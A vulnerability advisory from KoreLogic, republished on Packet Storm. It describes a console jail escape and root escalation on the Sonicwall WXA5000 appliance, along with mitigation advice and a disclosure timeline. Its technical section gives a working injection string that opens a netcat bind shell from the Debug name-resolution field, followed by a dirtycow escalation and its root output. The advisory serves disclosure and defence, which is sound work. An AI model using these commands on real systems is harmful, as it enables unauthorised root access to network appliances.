Sonicwall WXA5000 1.3.2-10-30 Console Jail Escape / Privilege Escalation

2017-10-25T00:00:00
ID PACKETSTORM:144751
Type packetstorm
Reporter Matthew Bergin
Modified 2017-10-25T00:00:00

Description

                                        
                                            `KL-001-2017-019 : Sonicwall WXA5000 Console Jail Escape and Privilege Escalation  
  
Title: Sonicwall WXA5000 Console Jail Escape and Privilege Escalation  
Advisory ID: KL-001-2017-019  
Publication Date: 2017.10.24  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-019.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Sonicwall  
Affected Product: WXA5000 WAN Optimization Appliance  
Affected Version: 1.3.2-10-30  
Platform: Embedded Linux  
CWE Classification: CWE-78: Improper Neutralization of Special Elements  
used in an OS Command  
Impact: Root Access  
Attack vector: Console  
  
2. Vulnerability Description  
  
The console menu for this appliance can be escaped  
into a regular sh shell by using encapsulated $() shell  
commands. Privileges can be escalated to root by using the  
dirtyc0w exploit.  
  
3. Technical Description  
  
????????????????SonicWALL WAN Optimization Configuration?????????????????  
? Show Network Settings ?  
? Renew DHCP lease ?  
? Show Serial Number ?  
? Show Firmware Version ?  
? Factory Reset - Restore the device to factory installed state. ?  
? Secure Factory Reset - Securely erase hard disk and do Factory Reset. ?  
? Upgrade Firmware - Upgrade Firmware via USB stick. ?  
? ------------------ ?  
? Debug ?  
? Help ?  
? ------------------ ?  
? Reboot ?  
? Shutdown ?  
?????????????????????????????????????????????????????????????????????????  
  
Selecting 'Debug' provides a basic diagnostic menu allowing  
the user to ping the gateway, show system load, or resolve a  
domain name.  
  
Use the following string during name resolution:  
  
$(nc -l -p 4444 -e /bin/sh 1>&2)  
  
Next, connect to the shell using netcat.  
  
$ nc -v 1.3.3.7 4444  
Connection to 1.3.3.7 4444 port [tcp/krb524] succeeded!  
id;uname -a  
uid=1017(wxauser) gid=1017 groups=1017  
Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux  
  
This kernel version is vulnerable to the dirtycow exploit.  
  
/tmp/cowroot  
uname -a;id  
Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux  
uid=0(root) gid=1017 groups=0(root),1017  
  
4. Mitigation and Remediation Recommendation  
  
There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access  
to any account of any privilege which can use the Debug functionality of the CLI.  
  
Network access to management interfaces should be properly segmented.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.07.21 - KoreLogic requests security contact and PGP key from  
Sonicwall using the vulnerability submission form at  
https://mysonicwall.com/report/ProdVul.aspx.  
2017.07.24 - KoreLogic requests security contact and PGP key from  
Sonicwall using security@sonicwall.com email address.  
2017.08.09 - KoreLogic submits vulnerability information to Sonicwall  
using https://mysonicwall.com/report/ProdVul.aspx.  
Vulnerability submission ID 10762.  
2017.08.16 - 5 business days have elapsed since the vulnerability  
was reported. No response from Sonicwall.  
2017.09.21 - 30 business days have elapsed since the vulnerability  
was reported.  
2017.10.13 - 45 business days have elapsed since the vulnerability  
was reported to Sonicwall.  
2017.10.19 - KoreLogic requests update from security@sonicwall.com.  
2017.10.24 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2017  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`